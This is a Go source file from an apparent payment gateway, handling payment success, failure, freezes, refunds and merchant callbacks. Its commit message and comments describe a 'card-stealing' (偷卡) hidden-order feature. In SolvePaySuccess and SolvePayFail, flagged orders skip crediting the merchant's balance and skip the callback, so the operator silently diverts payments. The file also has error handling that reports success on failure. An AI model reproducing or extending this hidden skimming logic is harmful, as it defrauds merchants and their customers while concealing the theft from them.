Files
kami_gateway/internal/service/pay_solve.go
danial a4d4c39477 feat(merchant_hidden_config): 优化偷卡功能逻辑
- 添加 debug 模式配置,用于控制数据库查询时是否开启调试
-修复获取偷卡记录时的状态过滤逻辑,支持多个状态
-优化创建隐藏订单的流程,先创建新订单再更新原订单- 新增系统配置字典模型,用于获取偷卡规则状态- 移除不必要的日志输出,简化代码
2025-01-25 22:35:06 +08:00

526 lines
18 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package service
import (
"context"
"errors"
"fmt"
"gateway/internal/config"
"gateway/internal/entities/message"
"gateway/internal/models/accounts"
"gateway/internal/models/merchant"
"gateway/internal/models/notify"
"gateway/internal/models/order"
"gateway/internal/models/road"
"gateway/internal/utils"
"github.com/bytedance/gopkg/util/gopool"
"github.com/duke-git/lancet/v2/convertor"
"github.com/duke-git/lancet/v2/pointer"
"net/url"
"strconv"
"time"
"github.com/beego/beego/v2/client/orm"
"github.com/beego/beego/v2/core/logs"
)
var (
orderNotify = gopool.NewPool("orderNotify", 20, gopool.NewConfig())
sendMessageNotify = gopool.NewPool("sendMessageNotify", 20, gopool.NewConfig())
)
// SolvePaySuccess 处理支付成功的加款等各项操作
func SolvePaySuccess(bankOrderId string, factAmount float64, trxNo string) bool {
o := orm.NewOrm()
err := o.DoTx(func(ctx context.Context, txOrm orm.TxOrmer) error {
// 查找订单
var orderInfo order.OrderInfo
if err := txOrm.Raw("select * from order_info where bank_order_id = ? for update", bankOrderId).
QueryRow(&orderInfo); err != nil || orderInfo.BankOrderId == "" {
logs.Error("不存在该订单或者select for update出错")
return err
}
if orderInfo.Status == config.SUCCESS {
logs.Error("该订单已经处理,订单号=", bankOrderId)
return errors.New(fmt.Sprintf("该订单已经处理,订单号= %s", bankOrderId))
}
// TODO: 判断是否偷卡(隐藏订单)
// 如果是偷卡,就不换算利润啥的,也不回调
hiddenCfg, _ := GetRelateRecordByTargetOrderNo(bankOrderId)
if !pointer.IsNil(hiddenCfg) && hiddenCfg.Id != 0 {
_ = UpdateRelateRecordStatus(bankOrderId, factAmount, 1)
return nil
}
// 查找订单表
var orderProfitInfo order.OrderProfitInfo
if err := txOrm.Raw(
"select * from order_profit_info where bank_order_id = ? for update",
bankOrderId,
).QueryRow(&orderProfitInfo); err != nil || orderProfitInfo.BankOrderId == "" {
logs.Error("select order_profit_info for update fail: ", err)
return err
}
if orderProfitInfo.BankOrderId == "" {
logs.Error("solve pay success, get orderProfit fail, bankOrderId = ", bankOrderId)
return errors.New(fmt.Sprintf("solve pay success, get orderProfit fail, bankOrderId = %s", bankOrderId))
}
orderInfo.FactAmount = factAmount
orderInfo.Status = config.SUCCESS
orderInfo.BankTransId = trxNo
orderInfo.UpdateTime = time.Now()
if _, err := txOrm.Update(&orderInfo); err != nil || orderInfo.BankOrderId == "" {
logs.Error(fmt.Sprintf("solve pay success, update order info fail: %s, bankOrderId = %s", err, bankOrderId))
return err
}
orderSettleInfo := order.OrderSettleInfo{
PayTypeCode: orderInfo.PayTypeCode,
PayProductCode: orderInfo.PayProductCode,
RoadUid: orderInfo.RoadUid,
PayProductName: orderInfo.PayProductName,
PayTypeName: orderInfo.PayTypeName,
MerchantUid: orderInfo.MerchantUid,
MerchantOrderId: orderInfo.MerchantOrderId,
MerchantName: orderInfo.MerchantName,
BankOrderId: bankOrderId,
SettleAmount: factAmount,
IsAllowSettle: config.YES,
IsCompleteSettle: config.NO,
CreateTime: time.Now(),
UpdateTime: time.Now(),
}
if _, err := txOrm.Insert(&orderSettleInfo); err != nil {
logs.Error(
fmt.Sprintf("solve pay successinsert order settle info fail: %s, bankOrderId = %s",
err, bankOrderId),
)
return err
}
// 做账户的加款操作,最重要的一步
var accountInfo accounts.AccountInfo
if err := txOrm.Raw("select * from account_info where account_uid = ? for update", orderInfo.MerchantUid).QueryRow(&accountInfo); err != nil || accountInfo.AccountUid == "" {
logs.Error(fmt.Sprintf("solve pay success, raw account info fail: %s, bankOrderId = %s", err, bankOrderId))
return err
}
if _, err := txOrm.QueryTable(accounts.ACCOUNT_INFO).Filter("account_uid", orderInfo.MerchantUid).
Update((orm.Params{
"balance": factAmount + accountInfo.Balance,
"wait_amount": factAmount + accountInfo.WaitAmount,
})); err != nil {
logs.Error(fmt.Sprintf("solve pay success, update account info fail: %s, bankOrderId = %s", err, bankOrderId))
return err
}
// 添加一条动账记录
accountHistory := accounts.AccountHistoryInfo{
AccountUid: orderInfo.MerchantUid,
AccountName: orderInfo.MerchantName,
Type: config.PLUS_AMOUNT,
OrderId: orderInfo.MerchantOrderId,
Amount: factAmount,
Balance: factAmount + accountInfo.Balance,
CreateTime: time.Now(),
UpdateTime: time.Now(),
}
if _, err := txOrm.Insert(&accountHistory); err != nil {
logs.Error(fmt.Sprintf("solve pay successinsert account history fail%s, bankOrderId = %s", err, bankOrderId))
return err
}
// 更新通道信息
roadInfo := road.GetRoadInfoByRoadUid(orderInfo.RoadUid)
roadInfo.RequestSuccess += 1
roadInfo.TodayRequestSuccess += 1 // 今日成功
roadInfo.TotalIncome += orderInfo.FactAmount
roadInfo.TodayIncome += orderInfo.FactAmount
roadInfo.TodayProfit += orderProfitInfo.PlatformProfit + orderProfitInfo.AgentProfit
roadInfo.TotalProfit += orderProfitInfo.PlatformProfit + orderProfitInfo.AgentProfit
roadInfo.UpdateTime = time.Now()
if _, err := txOrm.Update(&roadInfo); err != nil {
logs.Error(fmt.Sprintf("solve pay success, update road info fail: %s, bankOrderId = %s", err, bankOrderId))
return err
}
// 更新订单利润表
orderProfitInfo.Status = config.SUCCESS
orderProfitInfo.UpdateTime = time.Now()
if _, err := txOrm.Update(&orderProfitInfo); err != nil {
logs.Error(fmt.Sprintf("solve pay success, update order profit info fail: %s, bankOrderId = %s", err, bankOrderId))
return err
}
// 给下游发送回调通知
orderNotify.Go(func() {
CreateOrderNotifyInfo(orderInfo, config.SUCCESS)
})
return nil
})
if err != nil {
logs.Error("SolvePaySuccess失败", err)
return true
}
logs.Info("SolvePaySuccess处理成功")
return true
}
// SolvePayFail 处理支付失败
func SolvePayFail(bankOrderId, transId string) bool {
o := orm.NewOrm()
err := o.DoTx(func(ctx context.Context, txOrm orm.TxOrmer) error {
var orderTmp order.OrderInfo
if err := txOrm.Raw("select * from order_info where bank_order_id = ?", bankOrderId).QueryRow(&orderTmp); err != nil || orderTmp.BankOrderId == "" {
return err
}
if orderTmp.Status != config.WAIT {
return nil
// return errors.New("订单已经处理,不要重复加款")
}
if _, err := txOrm.QueryTable(order.ORDER_INFO).Filter("bank_order_id", bankOrderId).Update(orm.Params{"status": config.FAIL, "bank_trans_id": transId}); err != nil {
logs.Error("更改订单状态失败:", err)
return err
}
if _, err := txOrm.QueryTable(order.ORDER_PROFIT_INFO).Filter("bank_order_id", bankOrderId).Update(orm.Params{"status": config.FAIL, "bank_trans_id": transId}); err != nil {
logs.Error("更改订单状态失败:", err)
return err
}
// TODO: 判断是否偷卡(隐藏订单)
// 如果是偷卡,就不计算利润什么的,也不回调
hiddenCfg, _ := GetRelateRecordByTargetOrderNo(bankOrderId)
if !pointer.IsNil(hiddenCfg) && hiddenCfg.Id != 0 {
_ = UpdateRelateRecordStatus(bankOrderId, 0, 2)
return nil
}
orderNotify.Go(func() {
CreateOrderNotifyInfo(orderTmp, config.FAIL)
})
return nil
})
if err != nil {
logs.Error("SolvePayFail", err)
return true
}
logs.Info("SolvePayFail成功")
return true
}
// SolveOrderFreeze 处理订单冻结
func SolveOrderFreeze(bankOrderId string) bool {
o := orm.NewOrm()
err := o.DoTx(func(ctx context.Context, txOrm orm.TxOrmer) error {
var orderInfo order.OrderInfo
if err := txOrm.Raw("select * from order_info where bank_order_id = ? for update", bankOrderId).QueryRow(&orderInfo); err != nil || orderInfo.BankOrderId == "" {
logs.Error("solve order freeze 不存在这样的订单记录bankOrderId = ", bankOrderId)
return err
}
// 如果订单不是失败或者成功状态,订单不能冻结
if orderInfo.Status != config.SUCCESS && orderInfo.Status != config.FAIL {
logs.Error("非成功或失败订单不能进行冻结")
return errors.New("非成功或失败订单不能进行冻结")
}
orderInfo.Freeze = config.YES
orderInfo.FreezeTime = time.Now().Format("2006-01-02 15:04:05")
orderInfo.UpdateTime = time.Now()
if _, err := txOrm.Update(&orderInfo); err != nil {
logs.Error("solve order freeze fail: ", err)
return err
}
// 账户的冻结金额里面加入相应的金额
orderProfitInfo := order.GetOrderProfitByBankOrderId(bankOrderId)
var accountInfo accounts.AccountInfo
if err := txOrm.Raw("select * from account_info where account_uid = ? for update", orderInfo.MerchantUid).QueryRow(&accountInfo); err != nil || accountInfo.AccountUid == "" {
logs.Error(fmt.Sprintf("solve pay fail select acount fail%s", err))
return err
}
accountInfo.UpdateTime = time.Now()
accountInfo.FreezeAmount = orderProfitInfo.UserInAmount + accountInfo.FreezeAmount
if _, err := txOrm.Update(&accountInfo); err != nil {
logs.Error("solve order freeze fail: ", err)
return err
}
// 插入一条动账记录
accountHistoryInfo := accounts.AccountHistoryInfo{
AccountName: accountInfo.AccountName,
AccountUid: accountInfo.AccountUid,
Type: config.FREEZE_AMOUNT,
OrderId: orderInfo.MerchantOrderId,
Amount: orderProfitInfo.UserInAmount,
Balance: accountInfo.Balance,
CreateTime: time.Now(),
UpdateTime: time.Now(),
}
if _, err := txOrm.Insert(&accountHistoryInfo); err != nil {
logs.Error("solve order freeze fail: ", err)
return err
}
return nil
})
if err != nil {
logs.Error("SolveOrderFreeze", err)
return false
}
logs.Info("SolveOrderFreeze")
return true
}
// SolveOrderUnfreeze 订单解冻
func SolveOrderUnfreeze(bankOrderId string) bool {
o := orm.NewOrm()
if err := o.DoTx(func(ctx context.Context, txOrm orm.TxOrmer) error {
orderInfo := new(order.OrderInfo)
if err := txOrm.Raw("select * from order_info where bank_order_id = ? for update", bankOrderId).QueryRow(orderInfo); err != nil || orderInfo.BankOrderId == "" {
logs.Error("solve order unfreeze 不存在这样的订单记录bankOrderId = ", bankOrderId)
return err
}
orderInfo.Freeze = ""
orderInfo.Unfreeze = config.YES
orderInfo.UnfreezeTime = utils.GetBasicDateTime()
orderInfo.UpdateTime = time.Now()
if _, err := txOrm.Update(orderInfo); err != nil {
logs.Error("solve order unfreeze fail: ", err)
return err
}
orderProfitInfo := order.GetOrderProfitByBankOrderId(bankOrderId)
accountInfo := new(accounts.AccountInfo)
if err := txOrm.Raw("select * from account_info where account_uid = ? for update", orderInfo.MerchantUid).QueryRow(accountInfo); err != nil || accountInfo.AccountUid == "" {
logs.Error(fmt.Sprintf("unfreeze select account fail: %s", err))
return err
}
accountInfo.UpdateTime = time.Now()
accountInfo.FreezeAmount = accountInfo.FreezeAmount - orderProfitInfo.UserInAmount
if _, err := txOrm.Update(accountInfo); err != nil {
logs.Error("solve order unfreeze fail: ", err)
return err
}
accountHistoryInfo := accounts.AccountHistoryInfo{
AccountUid: accountInfo.AccountUid,
AccountName: accountInfo.AccountName,
OrderId: orderInfo.MerchantOrderId,
Type: config.UNFREEZE_AMOUNT,
Amount: orderProfitInfo.UserInAmount,
Balance: accountInfo.Balance,
CreateTime: time.Now(),
UpdateTime: time.Now(),
}
if _, err := txOrm.Insert(&accountHistoryInfo); err != nil {
return err
}
return nil
}); err != nil {
logs.Error("SolveOrderUnfreeze失败", err)
return false
}
return true
}
func SolveRefund(bankOrderId string) bool {
o := orm.NewOrm()
if err := o.DoTx(func(ctx context.Context, txOrm orm.TxOrmer) error {
orderInfo := new(order.OrderInfo)
if err := txOrm.Raw("select * from order_info where bank_order_id = ? for update", bankOrderId).QueryRow(orderInfo); err != nil || orderInfo.BankOrderId == "" {
logs.Error("solve refund 不存在这样的订单bankOrderId = " + bankOrderId)
return err
}
orderInfo.UpdateTime = time.Now()
orderInfo.Refund = config.YES
orderInfo.RefundTime = utils.GetBasicDateTime()
orderProfitInfo := order.GetOrderProfitByBankOrderId(bankOrderId)
account := new(accounts.AccountInfo)
if err := txOrm.Raw("select * from account_info where account_uid = ? for update", orderInfo.MerchantUid).QueryRow(account); err != nil || account.AccountUid == "" {
return err
}
account.UpdateTime = time.Now()
account.SettleAmount = account.SettleAmount - orderProfitInfo.UserInAmount
account.Balance = account.Balance - orderProfitInfo.UserInAmount
if orderInfo.Freeze == config.YES {
account.FreezeAmount = account.FreezeAmount - orderProfitInfo.UserInAmount
if account.FreezeAmount < 0 {
account.FreezeAmount = config.ZERO
}
orderInfo.Freeze = ""
}
if _, err := txOrm.Update(orderInfo); err != nil {
logs.Error("solve order refund update order info fail: ", err)
return err
}
if _, err := txOrm.Update(account); err != nil {
logs.Error("solve order refund update account fail: ", err)
return err
}
accountHistoryInfo := accounts.AccountHistoryInfo{
AccountName: account.AccountName,
AccountUid: account.AccountUid,
Type: config.REFUND,
OrderId: orderInfo.MerchantOrderId,
Amount: orderProfitInfo.UserInAmount,
Balance: account.Balance,
CreateTime: time.Now(),
UpdateTime: time.Now(),
}
if _, err := txOrm.Insert(&accountHistoryInfo); err != nil {
logs.Error("solve order refund insert account history fail: ", err)
return err
}
return nil
}); err != nil {
logs.Error("SolveRefund 成功:", err)
return false
}
return true
}
func SolveOrderRoll(bankOrderId string) bool {
o := orm.NewOrm()
if err := o.DoTx(func(ctx context.Context, txOrm orm.TxOrmer) error {
orderInfo := new(order.OrderInfo)
if err := txOrm.Raw("select * from order_info where bank_order_id = ? for update", bankOrderId).QueryRow(orderInfo); err != nil {
logs.Error("solve order roll fail ", err)
return err
}
if orderInfo.Status != config.SUCCESS {
logs.Error("solve order roll 订单不存在或者订单状态不是success, bankOrderId=", bankOrderId)
return errors.New("solve order roll failed")
}
orderInfo.UpdateTime = time.Now()
orderProfitInfo := order.GetOrderProfitByBankOrderId(bankOrderId)
account := new(accounts.AccountInfo)
if err := txOrm.Raw("select * from account_info where account_uid = ? for update", orderInfo.MerchantUid).QueryRow(account); err != nil || account.AccountUid == "" {
return err
}
account.UpdateTime = time.Now()
if orderInfo.Refund == config.YES {
account.Balance = account.Balance + orderProfitInfo.UserInAmount
account.SettleAmount = account.SettleAmount + orderProfitInfo.UserInAmount
orderInfo.Refund = config.NO
}
if _, err := txOrm.Update(orderInfo); err != nil {
logs.Error("solve order roll fail update order info fail: ", err)
return err
}
if _, err := txOrm.Update(account); err != nil {
logs.Error("solve order roll update account fail: ", err)
return err
}
accountHistoryInfo := accounts.AccountHistoryInfo{
AccountUid: account.AccountUid,
AccountName: account.AccountName,
Type: config.PLUS_AMOUNT,
OrderId: orderInfo.MerchantOrderId,
Amount: orderProfitInfo.UserInAmount,
Balance: account.Balance,
CreateTime: time.Now(),
UpdateTime: time.Now(),
}
if _, err := txOrm.Insert(&accountHistoryInfo); err != nil {
logs.Error("solve order roll insert account history fail: ", err)
return err
}
return nil
}); err != nil {
logs.Error("SolveOrderRoll处理失败", err)
return false
}
return true
}
// CompareOrderAndFactAmount 比较订单金额和实际支付金额的大小
func CompareOrderAndFactAmount(factAmount float64, orderInfo order.OrderInfo) int {
orderAmount := orderInfo.OrderAmount
// 将金额放大1000倍
oa := int64(orderAmount * 1000)
fa := int64(factAmount * 1000)
if oa > fa {
// 如果实际金额大返回1
return 1
} else if oa == fa {
return 0
} else {
return 2
}
}
// CreateOrderNotifyInfo 支付完成后,处理给商户的回调信息
func CreateOrderNotifyInfo(orderInfo order.OrderInfo, tradeStatus string) {
notifyInfo := notify.NotifyInfo{
Type: "order",
BankOrderId: orderInfo.BankOrderId,
MerchantOrderId: orderInfo.MerchantOrderId,
Status: "wait",
Times: 0,
CreateTime: time.Now(),
UpdateTime: time.Now(),
}
merchantInfo := merchant.GetMerchantByUid(orderInfo.MerchantUid)
statusCode := ""
if tradeStatus == "success" {
statusCode = "01"
} else {
statusCode = "00"
}
params := map[string]any{
"orderNo": orderInfo.MerchantOrderId,
"orderPrice": strconv.FormatFloat(orderInfo.OrderAmount, 'f', 2, 64),
"factPrice": strconv.FormatFloat(orderInfo.FactAmount, 'f', 2, 64),
"orderTime": utils.GetNowTimesTamp(),
"trxNo": orderInfo.BankOrderId,
"payKey": merchantInfo.MerchantKey,
"statusCode": statusCode,
"tradeStatus": tradeStatus,
}
params["sign"] = utils.GetMD5SignMF(params, merchantInfo.MerchantSecret)
u := url.Values{}
for k, v := range params {
u.Add(k, convertor.ToString(v))
}
notifyInfo.Url = orderInfo.NotifyUrl + "?" + u.Encode()
if notify.InsertNotifyInfo(notifyInfo) {
logs.Info(fmt.Sprintf("订单bankOrderId=%s已经将回调地址插入数据库", orderInfo.BankOrderId))
} else {
logs.Error(fmt.Sprintf("订单bankOrderId=%s插入回调数据库失败", orderInfo.BankOrderId))
}
// 将订单发送到消息队列,给下面的商户进行回调
sendMessageNotify.Go(func() {
message.SendMessage(config.MqOrderNotify, orderInfo.BankOrderId)
})
}